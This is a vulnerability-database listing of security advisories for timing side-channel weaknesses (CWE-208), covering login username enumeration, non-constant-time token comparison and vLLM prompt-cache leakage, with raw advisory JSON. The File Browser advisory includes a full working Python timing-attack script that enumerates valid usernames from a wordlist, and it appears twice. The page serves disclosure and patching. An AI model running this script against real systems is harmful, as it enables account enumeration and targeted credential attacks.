GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration
Common Weakness Enumeration

CWE-208

Allowed

Observable Timing Discrepancy

Abstraction: Base · Status: Incomplete

Two separate operations in a product require different amounts of time to complete, in a way that is observable to an actor and reveals security-relevant information about the state of the product, such as whether a particular operation was successful or not.

368 vulnerabilities reference this CWE, most recent first.

GHSA-43FJ-QP3H-HRH5

Vulnerability from github – Published: 2026-04-15 18:57 – Updated: 2026-05-12 13:31
VLAI
Summary
Sync-in Server has Username Enumeration via Timing Attack
Details

Summary

The /api/auth/login endpoint contains a logic flaw that allows unauthenticated remote attackers to enumerate valid usernames by measuring the application's response time.

Details

The logic flaw can be located at the below point in source: https://github.com/Sync-in/server/blob/7868bb2b3025f92e6c38087456304758713971b2/backend/src/applications/users/services/users-queries.service.ts#L91-L95

Endpoints used for authentication should respond to the user with a consistent cadence, preventing remote actors from deriving sensitive information about an application based on backend behavior. In the case of authentication endpoints, this timing discrepancy is often caused by short-circuiting due to the lack of a matched user to compare against - as is the case with Sync-in.

Validation

TickTock Enum (Burp Suite Extension) was utilized to validate this finding. Authentication attempts with a valid username see a response from the application at around 350-400ms on average, while invalid usernames are returned at only 95-100ms on average. image

Impact

An unauthenticated remote attacker can enumerate valid usernames. This significantly weakens the application's security posture by facilitating targeted brute-force attacks, stuffing, social engineering, and a suite of other more targeted attacks.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.1.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@sync-in/server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.2.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-41161"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-208"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-15T18:57:50Z",
    "nvd_published_at": "2026-05-08T14:16:33Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nThe `/api/auth/login` endpoint contains a logic flaw that allows unauthenticated remote attackers to enumerate valid usernames by measuring the application\u0027s response time.\n\n### Details\nThe logic flaw can be located at the below point in source:\nhttps://github.com/Sync-in/server/blob/7868bb2b3025f92e6c38087456304758713971b2/backend/src/applications/users/services/users-queries.service.ts#L91-L95\n\nEndpoints used for authentication should respond to the user with a consistent cadence, preventing remote actors from deriving sensitive information about an application based on backend behavior. In the case of authentication endpoints, this timing discrepancy is often caused by short-circuiting due to the lack of a matched user to compare against - as is the case with Sync-in.\n\n### Validation\nTickTock Enum (Burp Suite Extension) was utilized to validate this finding. Authentication attempts with a valid username see a response from the application at around 350-400ms on average, while invalid usernames are returned at only 95-100ms on average.\n\u003cimg width=\"1302\" height=\"284\" alt=\"image\" src=\"https://github.com/user-attachments/assets/31eeb72a-c3c2-4057-ac69-c0c92f0bbd4e\" /\u003e\n\n### Impact\nAn unauthenticated remote attacker can enumerate valid usernames. This significantly weakens the application\u0027s security posture by facilitating targeted brute-force attacks, stuffing, social engineering, and a suite of other more targeted attacks.",
  "id": "GHSA-43fj-qp3h-hrh5",
  "modified": "2026-05-12T13:31:20Z",
  "published": "2026-04-15T18:57:50Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Sync-in/server/security/advisories/GHSA-43fj-qp3h-hrh5"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41161"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Sync-in/server"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Sync-in/server/releases/tag/v2.2.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Sync-in Server has Username Enumeration via Timing Attack"
}

GHSA-43MM-M3H2-3PRC

Vulnerability from github – Published: 2026-01-21 01:02 – Updated: 2026-01-21 01:02
VLAI
Summary
File Browser Vulnerable to Username Enumeration via Timing Attack in /api/login
Details

Summary

The JSONAuth.Auth function contains a logic flaw that allows unauthenticated attackers to enumerate valid usernames by measuring the response time of the /api/login endpoint.

Details

The vulnerability exists due to a "short-circuit" evaluation in the authentication logic. When a username is not found in the database, the function returns immediately. However, if the username does exist, the code proceeds to verify the password using bcrypt (users.CheckPwd), which is a computationally expensive operation designed to be slow.

This difference in execution path creates a measurable timing discrepancy:

Invalid User: ~1ms execution (Database lookup only). Valid User: ~50ms+ execution (Database lookup + Bcrypt hashing).

In auth/json.go:

// auth/json.go line 54
u, err := usr.Get(srv.Root, cred.Username)
// VULNERABILITY:
// If 'err != nil' (User not found), the OR condition short-circuits.
// The second part (!users.CheckPwd) is NEVER executed.
//
// If 'err == nil' (User found), the code MUST execute users.CheckPwd (Bcrypt).
if err != nil || !users.CheckPwd(cred.Password, u.Password) {
    return nil, os.ErrPermission
}

PoC

The following Python script automates the attack. It first calibrates the network latency using random (non-existent) users to establish a baseline/threshold, and then tests a list of target usernames. Valid users are detected when the response time exceeds the calculated threshold.

import requests
import time
import random
import string
import statistics
import argparse

CALIBRATION_SAMPLES = 20
ENDPOINT = "/api/login"

def generate_random_user(length=10):
    return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length))

def measure_response_time(url, username):
    start = time.perf_counter()
    try:
        requests.post(url, json={"username": username, "password": "dummy_pass_123!"})
    except Exception as e:
        print(f"[!] Connection error: {e}")
        return 0
    return time.perf_counter() - start

def calibrate(url):
    print(f"\n[*] Calibrating with {CALIBRATION_SAMPLES} random users...")
    times = []

    print("    Progress: ", end="", flush=True)
    for _ in range(CALIBRATION_SAMPLES):
        random_user = generate_random_user()
        elapsed = measure_response_time(url, random_user)
        times.append(elapsed)
        print(".", end="", flush=True)
    print(" OK")

    mean = statistics.mean(times)
    try:
        stdev = statistics.stdev(times)
    except:
        stdev = 0.0

    threshold = mean + (5 * stdev) + 0.005

    print(f"    - Mean time (invalid users): {mean:.4f}s")
    print(f"    - Standard deviation: {stdev:.6f}s")
    print(f"    - Threshold set: {threshold:.4f}s")

    return threshold

def load_wordlist(wordlist_path):
    try:
        with open(wordlist_path, 'r', encoding='utf-8') as f:
            users = [line.strip() for line in f if line.strip()]
        return users
    except FileNotFoundError:
        print(f"[!] Wordlist not found: {wordlist_path}")
        exit(1)
    except Exception as e:
        print(f"[!] Error reading wordlist: {e}")
        exit(1)

def timing_attack(url, threshold, users):
    print(f"\n[*] Testing {len(users)} users from wordlist...")
    print("-" * 50)
    print(f"{'Username':<15} | {'Time':<10} | {'Status'}")
    print("-" * 50)

    found = []

    for user in users:
        elapsed = measure_response_time(url, user)

        if elapsed > threshold:
            status = ">> VALID <<"
            found.append(user)
        else:
            status = "invalid"

        print(f"{user:<15} | {elapsed:.4f}s | {status}")

    return found

def main():
    parser = argparse.ArgumentParser(description='FileBrowser timing attack exploit')
    parser.add_argument('-u', '--url', required=True, help='Target URL (e.g., http://localhost:8080)')
    parser.add_argument('-w', '--wordlist', required=True, help='Path to wordlist file')
    args = parser.parse_args()

    target_url = args.url.rstrip('/') + ENDPOINT

    print("=== FILEBROWSER TIMING ATTACK ===\n")
    print(f"[*] Target: {target_url}")
    print(f"[*] Wordlist: {args.wordlist}")

    try:
        threshold = calibrate(target_url)
        users = load_wordlist(args.wordlist)
        print(f"\n[*] Loaded {len(users)} users from wordlist")
        print("[*] Starting attack...")

        valid_users = timing_attack(target_url, threshold, users)

        print("\n" + "="*50)
        print(f"SUMMARY: {len(valid_users)} valid users found")
        if valid_users:
            for u in valid_users:
                print(f"  -> {u}")
        print("="*50)

    except KeyboardInterrupt:
        print("\n[!] Attack cancelled")

if __name__ == "__main__":
    main()

For example, in this case, I have guchihacker as the only valid user in the application. image

I am going to use the exploit to list valid users. image As we can see, the user guchihacker has been confirmed as a valid user by comparing the server response time.

Impact

An unauthenticated remote attacker can enumerate valid usernames. This significantly weakens the security posture by facilitating targeted brute-force attacks or credential stuffing against specific, known-valid accounts (e.g., 'admin', 'root', employee names).

I remain at your disposal for any questions you may have on this matter. Thank you very much.

Sincerely, Felix Sanchez (GUCHI)

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/filebrowser/filebrowser"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.11.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/filebrowser/filebrowser/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.55.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-23849"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-203",
      "CWE-208"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-21T01:02:17Z",
    "nvd_published_at": "2026-01-19T21:15:51Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nThe JSONAuth.Auth function contains a logic flaw that allows unauthenticated attackers to enumerate valid usernames by measuring the response time of the /api/login endpoint.\n\n### Details\nThe vulnerability exists due to a \"short-circuit\" evaluation in the authentication logic. When a username is not found in the database, the function returns immediately. However, if the username does exist, the code proceeds to verify the password using bcrypt (users.CheckPwd), which is a computationally expensive operation designed to be slow.\n\nThis difference in execution path creates a measurable timing discrepancy:\n\nInvalid User: ~1ms execution (Database lookup only).\nValid User: ~50ms+ execution (Database lookup + Bcrypt hashing).\n\nIn auth/json.go:\n```go\n// auth/json.go line 54\nu, err := usr.Get(srv.Root, cred.Username)\n// VULNERABILITY:\n// If \u0027err != nil\u0027 (User not found), the OR condition short-circuits.\n// The second part (!users.CheckPwd) is NEVER executed.\n//\n// If \u0027err == nil\u0027 (User found), the code MUST execute users.CheckPwd (Bcrypt).\nif err != nil || !users.CheckPwd(cred.Password, u.Password) {\n    return nil, os.ErrPermission\n}\n```\n### PoC\nThe following Python script automates the attack. It first calibrates the network latency using random (non-existent) users to establish a baseline/threshold, and then tests a list of target usernames. Valid users are detected when the response time exceeds the calculated threshold.\n\n```python\nimport requests\nimport time\nimport random\nimport string\nimport statistics\nimport argparse\n\nCALIBRATION_SAMPLES = 20\nENDPOINT = \"/api/login\"\n\ndef generate_random_user(length=10):\n    return \u0027\u0027.join(random.choices(string.ascii_lowercase + string.digits, k=length))\n\ndef measure_response_time(url, username):\n    start = time.perf_counter()\n    try:\n        requests.post(url, json={\"username\": username, \"password\": \"dummy_pass_123!\"})\n    except Exception as e:\n        print(f\"[!] Connection error: {e}\")\n        return 0\n    return time.perf_counter() - start\n\ndef calibrate(url):\n    print(f\"\\n[*] Calibrating with {CALIBRATION_SAMPLES} random users...\")\n    times = []\n    \n    print(\"    Progress: \", end=\"\", flush=True)\n    for _ in range(CALIBRATION_SAMPLES):\n        random_user = generate_random_user()\n        elapsed = measure_response_time(url, random_user)\n        times.append(elapsed)\n        print(\".\", end=\"\", flush=True)\n    print(\" OK\")\n    \n    mean = statistics.mean(times)\n    try:\n        stdev = statistics.stdev(times)\n    except:\n        stdev = 0.0\n    \n    threshold = mean + (5 * stdev) + 0.005\n    \n    print(f\"    - Mean time (invalid users): {mean:.4f}s\")\n    print(f\"    - Standard deviation: {stdev:.6f}s\")\n    print(f\"    - Threshold set: {threshold:.4f}s\")\n    \n    return threshold\n\ndef load_wordlist(wordlist_path):\n    try:\n        with open(wordlist_path, \u0027r\u0027, encoding=\u0027utf-8\u0027) as f:\n            users = [line.strip() for line in f if line.strip()]\n        return users\n    except FileNotFoundError:\n        print(f\"[!] Wordlist not found: {wordlist_path}\")\n        exit(1)\n    except Exception as e:\n        print(f\"[!] Error reading wordlist: {e}\")\n        exit(1)\n\ndef timing_attack(url, threshold, users):\n    print(f\"\\n[*] Testing {len(users)} users from wordlist...\")\n    print(\"-\" * 50)\n    print(f\"{\u0027Username\u0027:\u003c15} | {\u0027Time\u0027:\u003c10} | {\u0027Status\u0027}\")\n    print(\"-\" * 50)\n    \n    found = []\n    \n    for user in users:\n        elapsed = measure_response_time(url, user)\n        \n        if elapsed \u003e threshold:\n            status = \"\u003e\u003e VALID \u003c\u003c\"\n            found.append(user)\n        else:\n            status = \"invalid\"\n            \n        print(f\"{user:\u003c15} | {elapsed:.4f}s | {status}\")\n        \n    return found\n\ndef main():\n    parser = argparse.ArgumentParser(description=\u0027FileBrowser timing attack exploit\u0027)\n    parser.add_argument(\u0027-u\u0027, \u0027--url\u0027, required=True, help=\u0027Target URL (e.g., http://localhost:8080)\u0027)\n    parser.add_argument(\u0027-w\u0027, \u0027--wordlist\u0027, required=True, help=\u0027Path to wordlist file\u0027)\n    args = parser.parse_args()\n    \n    target_url = args.url.rstrip(\u0027/\u0027) + ENDPOINT\n    \n    print(\"=== FILEBROWSER TIMING ATTACK ===\\n\")\n    print(f\"[*] Target: {target_url}\")\n    print(f\"[*] Wordlist: {args.wordlist}\")\n    \n    try:\n        threshold = calibrate(target_url)\n        users = load_wordlist(args.wordlist)\n        print(f\"\\n[*] Loaded {len(users)} users from wordlist\")\n        print(\"[*] Starting attack...\")\n        \n        valid_users = timing_attack(target_url, threshold, users)\n        \n        print(\"\\n\" + \"=\"*50)\n        print(f\"SUMMARY: {len(valid_users)} valid users found\")\n        if valid_users:\n            for u in valid_users:\n                print(f\"  -\u003e {u}\")\n        print(\"=\"*50)\n        \n    except KeyboardInterrupt:\n        print(\"\\n[!] Attack cancelled\")\n\nif __name__ == \"__main__\":\n    main()\n```\n\nFor example, in this case, I have guchihacker as the only valid user in the application.\n\u003cimg width=\"842\" height=\"310\" alt=\"image\" src=\"https://github.com/user-attachments/assets/b3caf11e-279c-4532-aa96-fd20cda153a3\" /\u003e\n\nI am going to use the exploit to list valid users.\n\u003cimg width=\"628\" height=\"716\" alt=\"image\" src=\"https://github.com/user-attachments/assets/f9d93e8e-e773-42a5-8a06-bc6bcc2a71fa\" /\u003e\nAs we can see, the user guchihacker has been confirmed as a valid user by comparing the server response time.\n\n### Impact\nAn unauthenticated remote attacker can enumerate valid usernames. This significantly weakens the security posture by facilitating targeted brute-force attacks or credential stuffing against specific, known-valid accounts (e.g., \u0027admin\u0027, \u0027root\u0027, employee names).\n\n\nI remain at your disposal for any questions you may have on this matter. Thank you very much.\n\nSincerely, [Felix Sanchez (GUCHI)](https://guchihacker.github.io/)",
  "id": "GHSA-43mm-m3h2-3prc",
  "modified": "2026-01-21T01:02:17Z",
  "published": "2026-01-21T01:02:17Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/filebrowser/filebrowser/security/advisories/GHSA-43mm-m3h2-3prc"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23849"
    },
    {
      "type": "WEB",
      "url": "https://github.com/filebrowser/filebrowser/commit/24781badd413ee20333aba5cce1919d676e01889"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/filebrowser/filebrowser"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "File Browser Vulnerable to Username Enumeration via Timing Attack in /api/login"
}

GHSA-45GQ-Q4XH-CP53

Vulnerability from github – Published: 2024-01-30 20:56 – Updated: 2024-02-08 22:48
VLAI
Summary
vantage6 vulnerable to username timing attack
Details

Impact

It is possible to find out usernames from the response time of login requests. This could aid attackers in credential attacks

Workarounds

No

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "vantage6-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.2.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-21671"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-208"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-01-30T20:56:48Z",
    "nvd_published_at": "2024-01-30T16:15:48Z",
    "severity": "LOW"
  },
  "details": "### Impact\nIt is possible to find out usernames from the response time of login requests. This could aid attackers in credential attacks\n\n### Workarounds\nNo\n",
  "id": "GHSA-45gq-q4xh-cp53",
  "modified": "2024-02-08T22:48:56Z",
  "published": "2024-01-30T20:56:48Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/vantage6/vantage6/security/advisories/GHSA-45gq-q4xh-cp53"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-21671"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vantage6/vantage6/commit/389f416c445da4f2438c72f34c3b1084485c4e30"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/vantage6/PYSEC-2024-31.yaml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/vantage6/vantage6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "vantage6 vulnerable to username timing attack"
}

GHSA-46HF-65MW-6FG3

Vulnerability from github – Published: 2025-11-18 06:30 – Updated: 2025-11-18 06:30
VLAI
Details

Observable Timing Discrepancy (CWE-208) in HBUS devices may allow an attacker with physical access to the device to extract device-specific keys, potentially compromising further site security.

This issue affects Command Centre Server:

9.30 prior to vCR9.30.251028a (distributed in 9.30.2881 (MR3)), 9.20 prior to vCR9.20.251028a (distributed in 9.20.3265 (MR5)), 9.10 prior to vCR9.10.251028a (distributed in 9.10.4135 (MR8)), all versions of 9.00 and prior.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-52457"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-208"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-11-18T04:15:44Z",
    "severity": "MODERATE"
  },
  "details": "Observable Timing Discrepancy (CWE-208) in HBUS devices may allow an attacker with physical access to the device to extract device-specific keys, potentially compromising further site security. \n\nThis issue affects Command Centre Server:\n\n9.30 prior to vCR9.30.251028a (distributed in 9.30.2881 (MR3)), 9.20 prior to vCR9.20.251028a (distributed in 9.20.3265 (MR5)), 9.10 prior to vCR9.10.251028a (distributed in 9.10.4135 (MR8)),\u00a0all versions of 9.00 and prior.",
  "id": "GHSA-46hf-65mw-6fg3",
  "modified": "2025-11-18T06:30:25Z",
  "published": "2025-11-18T06:30:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-52457"
    },
    {
      "type": "WEB",
      "url": "https://security.gallagher.com/en-NZ/Security-Advisories/CVE-2025-52457"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:P/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-47Q7-97XP-M272

Vulnerability from github – Published: 2026-03-02 22:43 – Updated: 2026-03-06 01:05
VLAI
Summary
OpenClaw: Config writes could persist resolved ${VAR} secrets to disk
Details

Summary

OpenClaw hooks previously compared the provided hook token using a regular string comparison. Because this comparison is not constant-time, an attacker with network access to the hooks endpoint could potentially use timing measurements across many requests to gradually infer the token.

In practice, this typically requires hooks to be exposed to an untrusted network and a large number of requests; real-world latency and jitter can make reliable measurement difficult.

Affected Packages / Versions

  • openclaw (npm): < 2026.2.12

Patched Versions

  • openclaw (npm): >= 2026.2.12

Mitigations

  • Upgrade to openclaw >= 2026.2.12.
  • If users cannot upgrade immediately: restrict network access to the hooks endpoint and rotate the hooks token after updating.

Fix Commit(s)

  • 113ebfd6a23c4beb8a575d48f7482593254506ec

OpenClaw thanks @akhmittra for reporting.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "openclaw"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.2.13"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-28475"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-208"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-02T22:43:10Z",
    "nvd_published_at": "2026-03-05T22:16:21Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nOpenClaw hooks previously compared the provided hook token using a regular string comparison. Because this comparison is not constant-time, an attacker with network access to the hooks endpoint could potentially use timing measurements across many requests to gradually infer the token.\n\nIn practice, this typically requires hooks to be exposed to an untrusted network and a large number of requests; real-world latency and jitter can make reliable measurement difficult.\n\n## Affected Packages / Versions\n\n- openclaw (npm): \u003c 2026.2.12\n\n## Patched Versions\n\n- openclaw (npm): \u003e= 2026.2.12\n\n## Mitigations\n\n- Upgrade to openclaw \u003e= 2026.2.12.\n- If users cannot upgrade immediately: restrict network access to the hooks endpoint and rotate the hooks token after updating.\n\n## Fix Commit(s)\n\n- 113ebfd6a23c4beb8a575d48f7482593254506ec\n\nOpenClaw thanks @akhmittra for reporting.",
  "id": "GHSA-47q7-97xp-m272",
  "modified": "2026-03-06T01:05:10Z",
  "published": "2026-03-02T22:43:10Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-47q7-97xp-m272"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28475"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/commit/113ebfd6a23c4beb8a575d48f7482593254506ec"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openclaw/openclaw"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/openclaw-timing-attack-via-hook-token-comparison"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "OpenClaw: Config writes could persist resolved ${VAR} secrets to disk"
}

GHSA-4GPM-R23H-GPRW

Vulnerability from github – Published: 2023-10-31 03:31 – Updated: 2023-11-08 18:41
VLAI
Summary
generator-jhipster allows a timing attack against validateToken due to a string comparison that stops at the first character
Details

JHipster generator-jhipster before 2.23.0 allows a timing attack against validateToken due to a string comparison that stops at the first character that is different. Attackers can guess tokens by brute forcing one character at a time and observing the timing. This of course drastically reduces the search space to a linear amount of guesses based on the token length times the possible characters.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "generator-jhipster"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.23.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2015-20110"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-208",
      "CWE-307"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-10-31T19:30:57Z",
    "nvd_published_at": "2023-10-31T03:15:07Z",
    "severity": "HIGH"
  },
  "details": "JHipster generator-jhipster before 2.23.0 allows a timing attack against validateToken due to a string comparison that stops at the first character that is different. Attackers can guess tokens by brute forcing one character at a time and observing the timing. This of course drastically reduces the search space to a linear amount of guesses based on the token length times the possible characters.",
  "id": "GHSA-4gpm-r23h-gprw",
  "modified": "2023-11-08T18:41:14Z",
  "published": "2023-10-31T03:31:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2015-20110"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jhipster/generator-jhipster/issues/2095"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jhipster/generator-jhipster/commit/79fe5626cb1bb80f9ac86cf46980748e65d2bdbc"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jhipster/generator-jhipster/commit/7c49ab3d45dc4921b831a2ca55fb1e2a2db1ee25"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jhipster/generator-jhipster"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jhipster/generator-jhipster/compare/v2.22.0...v2.23.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "generator-jhipster allows a timing attack against validateToken due to a string comparison that stops at the first character"
}

GHSA-4QJH-9FV9-R85R

Vulnerability from github – Published: 2025-05-28 18:02 – Updated: 2025-06-27 21:06
VLAI
Summary
Potential Timing Side-Channel Vulnerability in vLLM’s Chunk-Based Prefix Caching
Details

This issue arises from the prefix caching mechanism, which may expose the system to a timing side-channel attack.

Description

When a new prompt is processed, if the PageAttention mechanism finds a matching prefix chunk, the prefill process speeds up, which is reflected in the TTFT (Time to First Token). Our tests revealed that the timing differences caused by matching chunks are significant enough to be recognized and exploited.

For instance, if the victim has submitted a sensitive prompt or if a valuable system prompt has been cached, an attacker sharing the same backend could attempt to guess the victim's input. By measuring the TTFT based on prefix matches, the attacker could verify if their guess is correct, leading to potential leakage of private information.

Unlike token-by-token sharing mechanisms, vLLM’s chunk-based approach (PageAttention) processes tokens in larger units (chunks). In our tests, with chunk_size=2, the timing differences became noticeable enough to allow attackers to infer whether portions of their input match the victim's prompt at the chunk level.

Environment

  • GPU: NVIDIA A100 (40G)
  • CUDA: 11.8
  • PyTorch: 2.3.1
  • OS: Ubuntu 18.04
  • vLLM: v0.5.1 Configuration: We launched vLLM using the default settings and adjusted chunk_size=2 to evaluate the TTFT.

Leakage

We conducted our tests using LLaMA2-70B-GPTQ on a single device. We analyzed the timing differences when prompts shared prefixes of 2 chunks, and plotted the corresponding ROC curves. Our results suggest that timing differences can be reliably used to distinguish prefix matches, demonstrating a potential side-channel vulnerability. roc_curves_combined_block_2

Results

In our experiment, we analyzed the response time differences between cache hits and misses in vLLM's PageAttention mechanism. Using ROC curve analysis to assess the distinguishability of these timing differences, we observed the following results: - With a 1-token prefix, the ROC curve yielded an AUC value of 0.571, indicating that even with a short prefix, an attacker can reasonably distinguish between cache hits and misses based on response times. - When the prefix length increases to 8 tokens, the AUC value rises significantly to 0.99, showing that the attacker can almost perfectly identify cache hits with a longer prefix.

Fixes

  • https://github.com/vllm-project/vllm/pull/17045
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "vllm"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.9.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-46570"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-208"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-05-28T18:02:24Z",
    "nvd_published_at": "2025-05-29T17:15:21Z",
    "severity": "LOW"
  },
  "details": "This issue arises from the prefix caching mechanism, which may expose the system to a timing side-channel attack.\n\n## Description\nWhen a new prompt is processed, if the PageAttention mechanism finds a matching prefix chunk, the prefill process speeds up, which is reflected in the TTFT (Time to First Token). Our tests revealed that the timing differences caused by matching chunks are significant enough to be recognized and exploited.\n\nFor instance, if the victim has submitted a sensitive prompt or if a valuable system prompt has been cached, an attacker sharing the same backend could attempt to guess the victim\u0027s input. By measuring the TTFT based on prefix matches, the attacker could verify if their guess is correct, leading to potential leakage of private information.\n\nUnlike token-by-token sharing mechanisms, vLLM\u2019s chunk-based approach (PageAttention) processes tokens in larger units (chunks). In our tests, with chunk_size=2, the timing differences became noticeable enough to allow attackers to infer whether portions of their input match the victim\u0027s prompt at the chunk level.\n\n## Environment\n\n- GPU: NVIDIA A100 (40G)\n- CUDA: 11.8\n- PyTorch: 2.3.1\n- OS: Ubuntu 18.04\n- vLLM: v0.5.1\nConfiguration: We launched vLLM using the default settings and adjusted chunk_size=2 to evaluate the TTFT.\n\n## Leakage\nWe conducted our tests using LLaMA2-70B-GPTQ on a single device. We analyzed the timing differences when prompts shared prefixes of 2 chunks, and plotted the corresponding ROC curves. Our results suggest that timing differences can be reliably used to distinguish prefix matches, demonstrating a potential side-channel vulnerability.\n\u003cimg src=\"https://github.com/user-attachments/assets/db3491e9-02b7-424c-9b6d-56f553b39f2f\" alt=\"roc_curves_combined_block_2\" width=\"400\"/\u003e\n\n\n## Results\nIn our experiment, we analyzed the response time differences between cache hits and misses in vLLM\u0027s PageAttention mechanism. Using ROC curve analysis to assess the distinguishability of these timing differences, we observed the following results:\n- With a 1-token prefix, the ROC curve yielded an AUC value of 0.571, indicating that even with a short prefix, an attacker can reasonably distinguish between cache hits and misses based on response times.\n- When the prefix length increases to 8 tokens, the AUC value rises significantly to 0.99, showing that the attacker can almost perfectly identify cache hits with a longer prefix.\n\n## Fixes\n\n* https://github.com/vllm-project/vllm/pull/17045",
  "id": "GHSA-4qjh-9fv9-r85r",
  "modified": "2025-06-27T21:06:46Z",
  "published": "2025-05-28T18:02:24Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/vllm-project/vllm/security/advisories/GHSA-4qjh-9fv9-r85r"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-46570"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vllm-project/vllm/pull/17045"
    },
    {
      "type": "WEB",
